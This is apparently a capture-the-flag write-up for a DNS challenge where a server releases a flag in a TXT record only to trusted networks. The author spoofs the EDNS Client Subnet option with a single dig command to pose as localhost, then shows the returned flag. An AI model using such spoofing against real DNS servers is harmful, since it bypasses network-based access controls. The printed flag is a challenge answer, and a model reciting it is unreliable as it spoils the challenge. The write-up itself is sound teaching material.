Challenge

A DNS server holding the flag in a TXT record for flag, but it only returns it when the request appears to come from a trusted network.

Approach

The server honors the EDNS Client Subnet (ECS) option, which lets a resolver advertise the client’s subnet. dig can set it directly, so we just claimed to be 127.0.0.1:

dig TXT flag @129.153.36.153 +subnet=127.0.0.1/32

The answer section came right back:

flag.   86400   IN   TXT   "UDCTF{sp00fing_5ucc3ss_127_0_0_1_f728bf}"

Flag

UDCTF{sp00fing_5ucc3ss_127_0_0_1_f728bf}